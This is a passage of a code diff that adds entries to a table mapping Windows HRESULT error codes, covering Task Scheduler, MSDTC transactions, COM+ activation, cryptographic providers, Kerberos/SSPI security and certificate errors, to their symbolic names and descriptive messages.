+        0x80041312: ("SCHED_E_NO_SECURITY_SERVICES", "Task Scheduler security services are available only on Windows NT."),
+        0x80041313: ("SCHED_E_UNKNOWN_OBJECT_VERSION", "The task object version is either unsupported or invalid."),
+        0x80041314: ("SCHED_E_UNSUPPORTED_ACCOUNT_OPTION", "The task has been configured with an unsupported combination of account settings and run-time options."),
+        0x80041315: ("SCHED_E_SERVICE_NOT_RUNNING", "The Task Scheduler service is not running."),
+        0x80041316: ("SCHED_E_UNEXPECTEDNODE", "The task XML contains an unexpected node."),
+        0x80041317: ("SCHED_E_NAMESPACE", "The task XML contains an element or attribute from an unexpected namespace."),
+        0x80041318: ("SCHED_E_INVALIDVALUE", "The task XML contains a value that is incorrectly formatted or out of range."),
+        0x80041319: ("SCHED_E_MISSINGNODE", "The task XML is missing a required element or attribute."),
+        0x8004131A: ("SCHED_E_MALFORMEDXML", "The task XML is malformed."),
+        0x8004131D: ("SCHED_E_TOO_MANY_NODES", "The task XML contains too many nodes of the same type."),
+        0x8004131E: ("SCHED_E_PAST_END_BOUNDARY", "The task cannot be started after the trigger's end boundary."),
+        0x8004131F: ("SCHED_E_ALREADY_RUNNING", "An instance of this task is already running."),
+        0x80041320: ("SCHED_E_USER_NOT_LOGGED_ON", "The task will not run because the user is not logged on."),
+        0x80041321: ("SCHED_E_INVALID_TASK_HASH", "The task image is corrupt or has been tampered with."),
+        0x80041322: ("SCHED_E_SERVICE_NOT_AVAILABLE", "The Task Scheduler service is not available."),
+        0x80041323: ("SCHED_E_SERVICE_TOO_BUSY", "The Task Scheduler service is too busy to handle your request. Try again later."),
+        0x80041324: ("SCHED_E_TASK_ATTEMPTED", "The Task Scheduler service attempted to run the task, but the task did not run due to one of the constraints in the task definition."),
+        0x8004D000: ("XACT_E_ALREADYOTHERSINGLEPHASE", "Another single phase resource manager has already been enlisted in this transaction."),
+        0x8004D001: ("XACT_E_CANTRETAIN", "A retaining commit or abort is not supported."),
+        0x8004D002: ("XACT_E_COMMITFAILED", "The transaction failed to commit for an unknown reason. The transaction was aborted."),
+        0x8004D003: ("XACT_E_COMMITPREVENTED", "Cannot call commit on this transaction object because the calling application did not initiate the transaction."),
+        0x8004D004: ("XACT_E_HEURISTICABORT", "Instead of committing, the resource heuristically aborted."),
+        0x8004D005: ("XACT_E_HEURISTICCOMMIT", "Instead of aborting, the resource heuristically committed."),
+        0x8004D006: ("XACT_E_HEURISTICDAMAGE", "Some of the states of the resource were committed while others were aborted, likely because of heuristic decisions."),
+        0x8004D007: ("XACT_E_HEURISTICDANGER", "Some of the states of the resource may have been committed while others may have been aborted, likely because of heuristic decisions."),
+        0x8004D008: ("XACT_E_ISOLATIONLEVEL", "The requested isolation level is not valid or supported."),
+        0x8004D009: ("XACT_E_NOASYNC", "The transaction manager does not support an asynchronous operation for this method."),
+        0x8004D00A: ("XACT_E_NOENLIST", "Unable to enlist in the transaction."),
+        0x8004D00B: ("XACT_E_NOISORETAIN", "The requested semantics of retention of isolation across retaining commit and abort boundaries cannot be supported by this transaction implementation, or isoFlags was not equal to 0."),
+        0x8004D00C: ("XACT_E_NORESOURCE", "There is no resource presently associated with this enlistment."),
+        0x8004D00D: ("XACT_E_NOTCURRENT", "The transaction failed to commit due to the failure of optimistic concurrency control in at least one of the resource managers."),
+        0x8004D00E: ("XACT_E_NOTRANSACTION", "The transaction has already been implicitly or explicitly committed or aborted."),
+        0x8004D00F: ("XACT_E_NOTSUPPORTED", "An invalid combination of flags was specified."),
+        0x8004D010: ("XACT_E_UNKNOWNRMGRID", "The resource manager ID is not associated with this transaction or the transaction manager."),
+        0x8004D011: ("XACT_E_WRONGSTATE", "This method was called in the wrong state."),
+        0x8004D012: ("XACT_E_WRONGUOW", "The indicated unit of work does not match the unit of work expected by the resource manager."),
+        0x8004D013: ("XACT_E_XTIONEXISTS", "An enlistment in a transaction already exists."),
+        0x8004D014: ("XACT_E_NOIMPORTOBJECT", "An import object for the transaction could not be found."),
+        0x8004D015: ("XACT_E_INVALIDCOOKIE", "The transaction cookie is invalid."),
+        0x8004D016: ("XACT_E_INDOUBT", "The transaction status is in doubt. A communication failure occurred, or a transaction manager or resource manager has failed."),
+        0x8004D017: ("XACT_E_NOTIMEOUT", "A time-out was specified, but time-outs are not supported."),
+        0x8004D018: ("XACT_E_ALREADYINPROGRESS", "The requested operation is already in progress for the transaction."),
+        0x8004D019: ("XACT_E_ABORTED", "The transaction has already been aborted."),
+        0x8004D01A: ("XACT_E_LOGFULL", "The Transaction Manager returned a log full error."),
+        0x8004D01B: ("XACT_E_TMNOTAVAILABLE", "The transaction manager is not available."),
+        0x8004D01C: ("XACT_E_CONNECTION_DOWN", "A connection with the transaction manager was lost."),
+        0x8004D01D: ("XACT_E_CONNECTION_DENIED", "A request to establish a connection with the transaction manager was denied."),
+        0x8004D01E: ("XACT_E_REENLISTTIMEOUT", "Resource manager reenlistment to determine transaction status timed out."),
+        0x8004D01F: ("XACT_E_TIP_CONNECT_FAILED", "The transaction manager failed to establish a connection with another Transaction Internet Protocol (TIP) transaction manager."),
+        0x8004D020: ("XACT_E_TIP_PROTOCOL_ERROR", "The transaction manager encountered a protocol error with another TIP transaction manager."),
+        0x8004D021: ("XACT_E_TIP_PULL_FAILED", "The transaction manager could not propagate a transaction from another TIP transaction manager."),
+        0x8004D022: ("XACT_E_DEST_TMNOTAVAILABLE", "The transaction manager on the destination machine is not available."),
+        0x8004D023: ("XACT_E_TIP_DISABLED", "The transaction manager has disabled its support for TIP."),
+        0x8004D024: ("XACT_E_NETWORK_TX_DISABLED", "The transaction manager has disabled its support for remote or network transactions."),
+        0x8004D025: ("XACT_E_PARTNER_NETWORK_TX_DISABLED", "The partner transaction manager has disabled its support for remote or network transactions."),
+        0x8004D026: ("XACT_E_XA_TX_DISABLED", "The transaction manager has disabled its support for XA transactions."),
+        0x8004D027: ("XACT_E_UNABLE_TO_READ_DTC_CONFIG", "Microsoft Distributed Transaction Coordinator (MSDTC) was unable to read its configuration information."),
+        0x8004D028: ("XACT_E_UNABLE_TO_LOAD_DTC_PROXY", "MSDTC was unable to load the DTC proxy DLL."),
+        0x8004D029: ("XACT_E_ABORTING", "The local transaction has aborted."),
+        0x8004D080: ("XACT_E_CLERKNOTFOUND", "The specified CRM clerk was not found. It may have completed before it could be held."),
+        0x8004D081: ("XACT_E_CLERKEXISTS", "The specified CRM clerk does not exist."),
+        0x8004D082: ("XACT_E_RECOVERYINPROGRESS", "Recovery of the CRM log file is still in progress."),
+        0x8004D083: ("XACT_E_TRANSACTIONCLOSED", "The transaction has completed, and the log records have been discarded from the log file. They are no longer available."),
+        0x8004D084: ("XACT_E_INVALIDLSN", "lsnToRead is outside of the current limits of the log"),
+        0x8004D085: ("XACT_E_REPLAYREQUEST", "The COM+ Compensating Resource Manager has records it wishes to replay."),
+        0x8004D100: ("XACT_E_CONNECTION_REQUEST_DENIED", "The request to connect to the specified transaction coordinator was denied."),
+        0x8004D101: ("XACT_E_TOOMANY_ENLISTMENTS", "The maximum number of enlistments for the specified transaction has been reached."),
+        0x8004D102: ("XACT_E_DUPLICATE_GUID", "A resource manager with the same identifier is already registered with the specified transaction coordinator."),
+        0x8004D103: ("XACT_E_NOTSINGLEPHASE", "The prepare request given was not eligible for single-phase optimizations."),
+        0x8004D104: ("XACT_E_RECOVERYALREADYDONE", "RecoveryComplete has already been called for the given resource manager."),
+        0x8004D105: ("XACT_E_PROTOCOL", "The interface call made was incorrect for the current state of the protocol."),
+        0x8004D106: ("XACT_E_RM_FAILURE", "The xa_open call failed for the XA resource."),
+        0x8004D107: ("XACT_E_RECOVERY_FAILED", "The xa_recover call failed for the XA resource."),
+        0x8004D108: ("XACT_E_LU_NOT_FOUND", "The logical unit of work specified cannot be found."),
+        0x8004D109: ("XACT_E_DUPLICATE_LU", "The specified logical unit of work already exists."),
+        0x8004D10A: ("XACT_E_LU_NOT_CONNECTED", "Subordinate creation failed. The specified logical unit of work was not connected."),
+        0x8004D10B: ("XACT_E_DUPLICATE_TRANSID", "A transaction with the given identifier already exists."),
+        0x8004D10C: ("XACT_E_LU_BUSY", "The resource is in use."),
+        0x8004D10D: ("XACT_E_LU_NO_RECOVERY_PROCESS", "The LU Recovery process is down."),
+        0x8004D10E: ("XACT_E_LU_DOWN", "The remote session was lost."),
+        0x8004D10F: ("XACT_E_LU_RECOVERING", "The resource is currently recovering."),
+        0x8004D110: ("XACT_E_LU_RECOVERY_MISMATCH", "There was a mismatch in driving recovery."),
+        0x8004D111: ("XACT_E_RM_UNAVAILABLE", "An error occurred with the XA resource."),
+        0x8004E002: ("CONTEXT_E_ABORTED", "The root transaction wanted to commit, but the transaction aborted."),
+        0x8004E003: ("CONTEXT_E_ABORTING", "The COM+ component on which the method call was made has a transaction that has already aborted or is in the process of aborting."),
+        0x8004E004: ("CONTEXT_E_NOCONTEXT", "There is no Microsoft Transaction Server (MTS) object context."),
+        0x8004E005: ("CONTEXT_E_WOULD_DEADLOCK", "The component is configured to use synchronization, and this method call would cause a deadlock to occur."),
+        0x8004E006: ("CONTEXT_E_SYNCH_TIMEOUT", "The component is configured to use synchronization, and a thread has timed out waiting to enter the context."),
+        0x8004E007: ("CONTEXT_E_OLDREF", "You made a method call on a COM+ component that has a transaction that has already committed or aborted."),
+        0x8004E00C: ("CONTEXT_E_ROLENOTFOUND", "The specified role was not configured for the application."),
+        0x8004E00F: ("CONTEXT_E_TMNOTAVAILABLE", "COM+ was unable to talk to the MSDTC."),
+        0x8004E021: ("CO_E_ACTIVATIONFAILED", "An unexpected error occurred during COM+ activation."),
+        0x8004E022: ("CO_E_ACTIVATIONFAILED_EVENTLOGGED", "COM+ activation failed. Check the event log for more information."),
+        0x8004E023: ("CO_E_ACTIVATIONFAILED_CATALOGERROR", "COM+ activation failed due to a catalog or configuration error."),
+        0x8004E024: ("CO_E_ACTIVATIONFAILED_TIMEOUT", "COM+ activation failed because the activation could not be completed in the specified amount of time."),
+        0x8004E025: ("CO_E_INITIALIZATIONFAILED", "COM+ activation failed because an initialization function failed. Check the event log for more information."),
+        0x8004E026: ("CONTEXT_E_NOJIT", "The requested operation requires that just-in-time (JIT) be in the current context, and it is not."),
+        0x8004E027: ("CONTEXT_E_NOTRANSACTION", "The requested operation requires that the current context have a transaction, and it does not."),
+        0x8004E028: ("CO_E_THREADINGMODEL_CHANGED", "The components threading model has changed after install into a COM+ application. Re-install component."),
+        0x8004E029: ("CO_E_NOIISINTRINSICS", "Internet Information Services (IIS) intrinsics not available. Start your work with IIS."),
+        0x8004E02A: ("CO_E_NOCOOKIES", "An attempt to write a cookie failed."),
+        0x8004E02B: ("CO_E_DBERROR", "An attempt to use a database generated a database-specific error."),
+        0x8004E02C: ("CO_E_NOTPOOLED", "The COM+ component you created must use object pooling to work."),
+        0x8004E02D: ("CO_E_NOTCONSTRUCTED", "The COM+ component you created must use object construction to work correctly."),
+        0x8004E02E: ("CO_E_NOSYNCHRONIZATION", "The COM+ component requires synchronization, and it is not configured for it."),
+        0x8004E02F: ("CO_E_ISOLEVELMISMATCH", "The TxIsolation Level property for the COM+ component being created is stronger than the TxIsolationLevel for the root."),
+        0x8004E030: ("CO_E_CALL_OUT_OF_TX_SCOPE_NOT_ALLOWED", "The component attempted to make a cross-context call between invocations of EnterTransactionScope and ExitTransactionScope. This is not allowed. Cross-context calls cannot be made while inside a transaction scope."),
+        0x8004E031: ("CO_E_EXIT_TRANSACTION_SCOPE_NOT_CALLED", "The component made a call to EnterTransactionScope, but did not make a corresponding call to ExitTransactionScope before returning."),
+        0x80070005: ("E_ACCESSDENIED", "General access denied error."),
+        0x8007000E: ("E_OUTOFMEMORY", "The server does not have enough memory for the new channel."),
+        0x80070032: ("ERROR_NOT_SUPPORTED", "The server cannot support a client request for a dynamic virtual channel."),
+        0x80070057: ("E_INVALIDARG", "One or more arguments are invalid."),
+        0x80080001: ("CO_E_CLASS_CREATE_FAILED", "Attempt to create a class object failed."),
+        0x80080002: ("CO_E_SCM_ERROR", "OLE service could not bind object."),
+        0x80080003: ("CO_E_SCM_RPC_FAILURE", "RPC communication failed with OLE service."),
+        0x80080004: ("CO_E_BAD_PATH", "Bad path to object."),
+        0x80080005: ("CO_E_SERVER_EXEC_FAILURE", "Server execution failed."),
+        0x80080006: ("CO_E_OBJSRV_RPC_FAILURE", "OLE service could not communicate with the object server."),
+        0x80080007: ("MK_E_NO_NORMALIZED", "Moniker path could not be normalized."),
+        0x80080008: ("CO_E_SERVER_STOPPING", "Object server is stopping when OLE service contacts it."),
+        0x80080009: ("MEM_E_INVALID_ROOT", "An invalid root block pointer was specified."),
+        0x80080010: ("MEM_E_INVALID_LINK", "An allocation chain contained an invalid link pointer."),
+        0x80080011: ("MEM_E_INVALID_SIZE", "The requested allocation size was too large."),
+        0x80080015: ("CO_E_MISSING_DISPLAYNAME", "The activation requires a display name to be present under the class identifier (CLSID) key."),
+        0x80080016: ("CO_E_RUNAS_VALUE_MUST_BE_AAA", "The activation requires that the RunAs value for the application is Activate As Activator."),
+        0x80080017: ("CO_E_ELEVATION_DISABLED", "The class is not configured to support elevated activation."),
+        0x80090001: ("NTE_BAD_UID", "Bad UID."),
+        0x80090002: ("NTE_BAD_HASH", "Bad hash."),
+        0x80090003: ("NTE_BAD_KEY", "Bad key."),
+        0x80090004: ("NTE_BAD_LEN", "Bad length."),
+        0x80090005: ("NTE_BAD_DATA", "Bad data."),
+        0x80090006: ("NTE_BAD_SIGNATURE", "Invalid signature."),
+        0x80090007: ("NTE_BAD_VER", "Bad version of provider."),
+        0x80090008: ("NTE_BAD_ALGID", "Invalid algorithm specified."),
+        0x80090009: ("NTE_BAD_FLAGS", "Invalid flags specified."),
+        0x8009000A: ("NTE_BAD_TYPE", "Invalid type specified."),
+        0x8009000B: ("NTE_BAD_KEY_STATE", "Key not valid for use in specified state."),
+        0x8009000C: ("NTE_BAD_HASH_STATE", "Hash not valid for use in specified state."),
+        0x8009000D: ("NTE_NO_KEY", "Key does not exist."),
+        0x8009000E: ("NTE_NO_MEMORY", "Insufficient memory available for the operation."),
+        0x8009000F: ("NTE_EXISTS", "Object already exists."),
+        0x80090010: ("NTE_PERM", "Access denied."),
+        0x80090011: ("NTE_NOT_FOUND", "Object was not found."),
+        0x80090012: ("NTE_DOUBLE_ENCRYPT", "Data already encrypted."),
+        0x80090013: ("NTE_BAD_PROVIDER", "Invalid provider specified."),
+        0x80090014: ("NTE_BAD_PROV_TYPE", "Invalid provider type specified."),
+        0x80090015: ("NTE_BAD_PUBLIC_KEY", "Provider's public key is invalid."),
+        0x80090016: ("NTE_BAD_KEYSET", "Key set does not exist."),
+        0x80090017: ("NTE_PROV_TYPE_NOT_DEF", "Provider type not defined."),
+        0x80090018: ("NTE_PROV_TYPE_ENTRY_BAD", "The provider type, as registered, is invalid."),
+        0x80090019: ("NTE_KEYSET_NOT_DEF", "The key set is not defined."),
+        0x8009001A: ("NTE_KEYSET_ENTRY_BAD", "The key set, as registered, is invalid."),
+        0x8009001B: ("NTE_PROV_TYPE_NO_MATCH", "Provider type does not match registered value."),
+        0x8009001C: ("NTE_SIGNATURE_FILE_BAD", "The digital signature file is corrupt."),
+        0x8009001D: ("NTE_PROVIDER_DLL_FAIL", "Provider DLL failed to initialize correctly."),
+        0x8009001E: ("NTE_PROV_DLL_NOT_FOUND", "Provider DLL could not be found."),
+        0x8009001F: ("NTE_BAD_KEYSET_PARAM", "The keyset parameter is invalid."),
+        0x80090020: ("NTE_FAIL", "An internal error occurred."),
+        0x80090021: ("NTE_SYS_ERR", "A base error occurred."),
+        0x80090022: ("NTE_SILENT_CONTEXT", "Provider could not perform the action because the context was acquired as silent."),
+        0x80090023: ("NTE_TOKEN_KEYSET_STORAGE_FULL", "The security token does not have storage space available for an additional container."),
+        0x80090024: ("NTE_TEMPORARY_PROFILE", "The profile for the user is a temporary profile."),
+        0x80090025: ("NTE_FIXEDPARAMETER", "The key parameters could not be set because the configuration service provider (CSP) uses fixed parameters."),
+        0x80090026: ("NTE_INVALID_HANDLE", "The supplied handle is invalid."),
+        0x80090027: ("NTE_INVALID_PARAMETER", "The parameter is incorrect."),
+        0x80090028: ("NTE_BUFFER_TOO_SMALL", "The buffer supplied to a function was too small."),
+        0x80090029: ("NTE_NOT_SUPPORTED", "The requested operation is not supported."),
+        0x8009002A: ("NTE_NO_MORE_ITEMS", "No more data is available."),
+        0x8009002B: ("NTE_BUFFERS_OVERLAP", "The supplied buffers overlap incorrectly."),
+        0x8009002C: ("NTE_DECRYPTION_FAILURE", "The specified data could not be decrypted."),
+        0x8009002D: ("NTE_INTERNAL_ERROR", "An internal consistency check failed."),
+        0x8009002E: ("NTE_UI_REQUIRED", "This operation requires input from the user."),
+        0x8009002F: ("NTE_HMAC_NOT_SUPPORTED", "The cryptographic provider does not support Hash Message Authentication Code (HMAC)."),
+        0x80090300: ("SEC_E_INSUFFICIENT_MEMORY", "Not enough memory is available to complete this request."),
+        0x80090301: ("SEC_E_INVALID_HANDLE", "The handle specified is invalid."),
+        0x80090302: ("SEC_E_UNSUPPORTED_FUNCTION", "The function requested is not supported."),
+        0x80090303: ("SEC_E_TARGET_UNKNOWN", "The specified target is unknown or unreachable."),
+        0x80090304: ("SEC_E_INTERNAL_ERROR", "The Local Security Authority (LSA) cannot be contacted."),
+        0x80090305: ("SEC_E_SECPKG_NOT_FOUND", "The requested security package does not exist."),
+        0x80090306: ("SEC_E_NOT_OWNER", "The caller is not the owner of the desired credentials."),
+        0x80090307: ("SEC_E_CANNOT_INSTALL", "The security package failed to initialize and cannot be installed."),
+        0x80090308: ("SEC_E_INVALID_TOKEN", "The token supplied to the function is invalid."),
+        0x80090309: ("SEC_E_CANNOT_PACK", "The security package is not able to marshal the logon buffer, so the logon attempt has failed."),
+        0x8009030A: ("SEC_E_QOP_NOT_SUPPORTED", "The per-message quality of protection is not supported by the security package."),
+        0x8009030B: ("SEC_E_NO_IMPERSONATION", "The security context does not allow impersonation of the client."),
+        0x8009030C: ("SEC_E_LOGON_DENIED", "The logon attempt failed."),
+        0x8009030D: ("SEC_E_UNKNOWN_CREDENTIALS", "The credentials supplied to the package were not recognized."),
+        0x8009030E: ("SEC_E_NO_CREDENTIALS", "No credentials are available in the security package."),
+        0x8009030F: ("SEC_E_MESSAGE_ALTERED", "The message or signature supplied for verification has been altered."),
+        0x80090310: ("SEC_E_OUT_OF_SEQUENCE", "The message supplied for verification is out of sequence."),
+        0x80090311: ("SEC_E_NO_AUTHENTICATING_AUTHORITY", "No authority could be contacted for authentication."),
+        0x80090316: ("SEC_E_BAD_PKGID", "The requested security package does not exist."),
+        0x80090317: ("SEC_E_CONTEXT_EXPIRED", "The context has expired and can no longer be used."),
+        0x80090318: ("SEC_E_INCOMPLETE_MESSAGE", "The supplied message is incomplete. The signature was not verified."),
+        0x80090320: ("SEC_E_INCOMPLETE_CREDENTIALS", "The credentials supplied were not complete and could not be verified. The context could not be initialized."),
+        0x80090321: ("SEC_E_BUFFER_TOO_SMALL", "The buffers supplied to a function was too small."),
+        0x80090322: ("SEC_E_WRONG_PRINCIPAL", "The target principal name is incorrect."),
+        0x80090324: ("SEC_E_TIME_SKEW", "The clocks on the client and server machines are skewed."),
+        0x80090325: ("SEC_E_UNTRUSTED_ROOT", "The certificate chain was issued by an authority that is not trusted."),
+        0x80090326: ("SEC_E_ILLEGAL_MESSAGE", "The message received was unexpected or badly formatted."),
+        0x80090327: ("SEC_E_CERT_UNKNOWN", "An unknown error occurred while processing the certificate."),
+        0x80090328: ("SEC_E_CERT_EXPIRED", "The received certificate has expired."),
+        0x80090329: ("SEC_E_ENCRYPT_FAILURE", "The specified data could not be encrypted."),
+        0x80090330: ("SEC_E_DECRYPT_FAILURE", "The specified data could not be decrypted."),
+        0x80090331: ("SEC_E_ALGORITHM_MISMATCH", "The client and server cannot communicate because they do not possess a common algorithm."),
+        0x80090332: ("SEC_E_SECURITY_QOS_FAILED", "The security context could not be established due to a failure in the requested quality of service (for example, mutual authentication or delegation)."),
+        0x80090333: ("SEC_E_UNFINISHED_CONTEXT_DELETED", "A security context was deleted before the context was completed. This is considered a logon failure."),
+        0x80090334: ("SEC_E_NO_TGT_REPLY", "The client is trying to negotiate a context and the server requires user-to-user but did not send a ticket granting ticket (TGT) reply."),
+        0x80090335: ("SEC_E_NO_IP_ADDRESSES", "Unable to accomplish the requested task because the local machine does not have an IP addresses."),
+        0x80090336: ("SEC_E_WRONG_CREDENTIAL_HANDLE", "The supplied credential handle does not match the credential associated with the security context."),
+        0x80090337: ("SEC_E_CRYPTO_SYSTEM_INVALID", "The cryptographic system or checksum function is invalid because a required function is unavailable."),
+        0x80090338: ("SEC_E_MAX_REFERRALS_EXCEEDED", "The number of maximum ticket referrals has been exceeded."),
+        0x80090339: ("SEC_E_MUST_BE_KDC", "The local machine must be a Kerberos domain controller (KDC), and it is not."),
+        0x8009033A: ("SEC_E_STRONG_CRYPTO_NOT_SUPPORTED", "The other end of the security negotiation requires strong cryptographics, but it is not supported on the local machine."),
+        0x8009033B: ("SEC_E_TOO_MANY_PRINCIPALS", "The KDC reply contained more than one principal name."),
+        0x8009033C: ("SEC_E_NO_PA_DATA", "Expected to find PA data for a hint of what etype to use, but it was not found."),
+        0x8009033D: ("SEC_E_PKINIT_NAME_MISMATCH", "The client certificate does not contain a valid user principal name (UPN), or does not match the client name in the logon request. Contact your administrator."),
+        0x8009033E: ("SEC_E_SMARTCARD_LOGON_REQUIRED", "Smart card logon is required and was not used."),
+        0x8009033F: ("SEC_E_SHUTDOWN_IN_PROGRESS", "A system shutdown is in progress."),
+        0x80090340: ("SEC_E_KDC_INVALID_REQUEST", "An invalid request was sent to the KDC."),
+        0x80090341: ("SEC_E_KDC_UNABLE_TO_REFER", "The KDC was unable to generate a referral for the service requested."),
+        0x80090342: ("SEC_E_KDC_UNKNOWN_ETYPE", "The encryption type requested is not supported by the KDC."),
+        0x80090343: ("SEC_E_UNSUPPORTED_PREAUTH", "An unsupported pre-authentication mechanism was presented to the Kerberos package."),
+        0x80090345: ("SEC_E_DELEGATION_REQUIRED", "The requested operation cannot be completed. The computer must be trusted for delegation, and the current user account must be configured to allow delegation."),
+        0x80090346: ("SEC_E_BAD_BINDINGS", "Client's supplied Security Support Provider Interface (SSPI) channel bindings were incorrect."),
+        0x80090347: ("SEC_E_MULTIPLE_ACCOUNTS", "The received certificate was mapped to multiple accounts."),
+        0x80090348: ("SEC_E_NO_KERB_KEY", "No Kerberos key was found."),
+        0x80090349: ("SEC_E_CERT_WRONG_USAGE", "The certificate is not valid for the requested usage."),
+        0x80090350: ("SEC_E_DOWNGRADE_DETECTED", "The system detected a possible attempt to compromise security. Ensure that you can contact the server that authenticated you."),
+        0x80090351: ("SEC_E_SMARTCARD_CERT_REVOKED", "The smart card certificate used for authentication has been revoked. Contact your system administrator. The event log may contain additional information."),
+        0x80090352: ("SEC_E_ISSUING_CA_UNTRUSTED", "An untrusted certification authority (CA) was detected while processing the smart card certificate used for authentication. Contact your system administrator."),
+        0x80090353: ("SEC_E_REVOCATION_OFFLINE_C", "The revocation status of the smart card certificate used for authentication could not be determined. Contact your system administrator."),
+        0x80090354: ("SEC_E_PKINIT_CLIENT_FAILURE", "The smart card certificate used for authentication was not trusted. Contact your system administrator."),
+        0x80090355: ("SEC_E_SMARTCARD_CERT_EXPIRED", "The smart card certificate used for authentication has expired. Contact your system administrator."),
+        0x80090356: ("SEC_E_NO_S4U_PROT_SUPPORT", "The Kerberos subsystem encountered an error. A service for user protocol requests was made against a domain controller that does not support services for users."),
+        0x80090357: ("SEC_E_CROSSREALM_DELEGATION_FAILURE", "An attempt was made by this server to make a Kerberos-constrained delegation request for a target outside the server's realm. This is not supported and indicates a misconfiguration on this server's allowed-to-delegate-to list. Contact your administrator."),
+        0x80090358: ("SEC_E_REVOCATION_OFFLINE_KDC", "The revocation status of the domain controller certificate used for smart card authentication could not be determined. The system event log contains additional information. Contact your system administrator."),
+        0x80090359: ("SEC_E_ISSUING_CA_UNTRUSTED_KDC", "An untrusted CA was detected while processing the domain controller certificate used for authentication. The system event log contains additional information. Contact your system administrator."),
+        0x8009035A: ("SEC_E_KDC_CERT_EXPIRED", "The domain controller certificate used for smart card logon has expired. Contact your system administrator with the contents of your system event log."),
+        0x8009035B: ("SEC_E_KDC_CERT_REVOKED", "The domain controller certificate used for smart card logon has been revoked. Contact your system administrator with the contents of your system event log."),
+        0x8009035D: ("SEC_E_INVALID_PARAMETER", "One or more of the parameters passed to the function were invalid."),
+        0x8009035E: ("SEC_E_DELEGATION_POLICY", "The client policy does not allow credential delegation to the target server."),
+        0x8009035F: ("SEC_E_POLICY_NLTM_ONLY", "The client policy does not allow credential delegation to the target server with NLTM only authentication."),
+        0x80091001: ("CRYPT_E_MSG_ERROR", "An error occurred while performing an operation on a cryptographic message."),
+        0x80091002: ("CRYPT_E_UNKNOWN_ALGO", "Unknown cryptographic algorithm."),
+        0x80091003: ("CRYPT_E_OID_FORMAT", "The object identifier is poorly formatted."),
+        0x80091004: ("CRYPT_E_INVALID_MSG_TYPE", "Invalid cryptographic message type."),
+        0x80091005: ("CRYPT_E_UNEXPECTED_ENCODING", "Unexpected cryptographic message encoding."),
+        0x80091006: ("CRYPT_E_AUTH_ATTR_MISSING", "The cryptographic message does not contain an expected authenticated attribute."),
+        0x80091007: ("CRYPT_E_HASH_VALUE", "The hash value is not correct."),
+        0x80091008: ("CRYPT_E_INVALID_INDEX", "The index value is not valid."),
+        0x80091009: ("CRYPT_E_ALREADY_DECRYPTED", "The content of the cryptographic message has already been decrypted."),
+        0x8009100A: ("CRYPT_E_NOT_DECRYPTED", "The content of the cryptographic message has not been decrypted yet."),
+        0x8009100B: ("CRYPT_E_RECIPIENT_NOT_FOUND", "The enveloped-data message does not contain the specified recipient."),
+        0x8009100C: ("CRYPT_E_CONTROL_TYPE", "Invalid control type."),
+        0x8009100D: ("CRYPT_E_ISSUER_SERIALNUMBER", "Invalid issuer or serial number."),
+        0x8009100E: ("CRYPT_E_SIGNER_NOT_FOUND", "Cannot find the original signer."),
+        0x8009100F: ("CRYPT_E_ATTRIBUTES_MISSING", "The cryptographic message does not contain all of the requested attributes."),
+        0x80091010: ("CRYPT_E_STREAM_MSG_NOT_READY", "The streamed cryptographic message is not ready to return data."),
+        0x80091011: ("CRYPT_E_STREAM_INSUFFICIENT_DATA", "The streamed cryptographic message requires more data to complete the decode operation."),
+        0x80092001: ("CRYPT_E_BAD_LEN", "The length specified for the output data was insufficient."),
+        0x80092002: ("CRYPT_E_BAD_ENCODE", "An error occurred during the encode or decode operation."),
+        0x80092003: ("CRYPT_E_FILE_ERROR", "An error occurred while reading or writing to a file."),
+        0x80092004: ("CRYPT_E_NOT_FOUND", "Cannot find object or property."),
+        0x80092005: ("CRYPT_E_EXISTS", "The object or property already exists."),
+        0x80092006: ("CRYPT_E_NO_PROVIDER", "No provider was specified for the store or object."),
+        0x80092007: ("CRYPT_E_SELF_SIGNED", "The specified certificate is self-signed."),
+        0x80092008: ("CRYPT_E_DELETED_PREV", "The previous certificate or certificate revocation list (CRL) context was deleted."),
+        0x80092009: ("CRYPT_E_NO_MATCH", "Cannot find the requested object."),
+        0x8009200A: ("CRYPT_E_UNEXPECTED_MSG_TYPE", "The certificate does not have a property that references a private key."),
+        0x8009200B: ("CRYPT_E_NO_KEY_PROPERTY", "Cannot find the certificate and private key for decryption."),
+        0x8009200C: ("CRYPT_E_NO_DECRYPT_CERT", "Cannot find the certificate and private key to use for decryption."),
+        0x8009200D: ("CRYPT_E_BAD_MSG", "Not a cryptographic message or the cryptographic message is not formatted correctly."),
+        0x8009200E: ("CRYPT_E_NO_SIGNER", "The signed cryptographic message does not have a signer for the specified signer index."),
+        0x8009200F: ("CRYPT_E_PENDING_CLOSE", "Final closure is pending until additional frees or closes."),
+        0x80092010: ("CRYPT_E_REVOKED", "The certificate is revoked."),
+        0x80092011: ("CRYPT_E_NO_REVOCATION_DLL", "No DLL or exported function was found to verify revocation."),
+        0x80092012: ("CRYPT_E_NO_REVOCATION_CHECK", "The revocation function was unable to check revocation for the certificate."),
+        0x80092013: ("CRYPT_E_REVOCATION_OFFLINE", "The revocation function was unable to check revocation because the revocation server was offline."),
+        0x80092014: ("CRYPT_E_NOT_IN_REVOCATION_DATABASE", "The certificate is not in the revocation server's database."),
+        0x80092020: ("CRYPT_E_INVALID_NUMERIC_STRING", "The string contains a non-numeric character."),
+        0x80092021: ("CRYPT_E_INVALID_PRINTABLE_STRING", "The string contains a nonprintable character."),
+        0x80092022: ("CRYPT_E_INVALID_IA5_STRING", "The string contains a character not in the 7-bit ASCII character set."),
+        0x80092023: ("CRYPT_E_INVALID_X500_STRING", "The string contains an invalid X500 name attribute key, object identifier (OID), value, or delimiter."),
+        0x80092024: ("CRYPT_E_NOT_CHAR_STRING", "The dwValueType for the CERT_NAME_VALUE is not one of the character strings. Most likely it is either a CERT_RDN_ENCODED_BLOB or CERT_TDN_OCTED_STRING."),
+        0x80092025: ("CRYPT_E_FILERESIZED", "The Put operation cannot continue. The file needs to be resized. However, there is already a signature present. A complete signing operation must be done."),
+        0x80092026: ("CRYPT_E_SECURITY_SETTINGS", "The cryptographic operation failed due to a local security option setting."),
+        0x80092027: ("CRYPT_E_NO_VERIFY_USAGE_DLL", "No DLL or exported function was found to verify subject usage."),
+        0x80092028: ("CRYPT_E_NO_VERIFY_USAGE_CHECK", "The called function was unable to perform a usage check on the subject."),
+        0x80092029: ("CRYPT_E_VERIFY_USAGE_OFFLINE", "The called function was unable to complete the usage check because the server was offline."),
+        0x8009202A: ("CRYPT_E_NOT_IN_CTL", "The subject was not found in a certificate trust list (CTL)."),
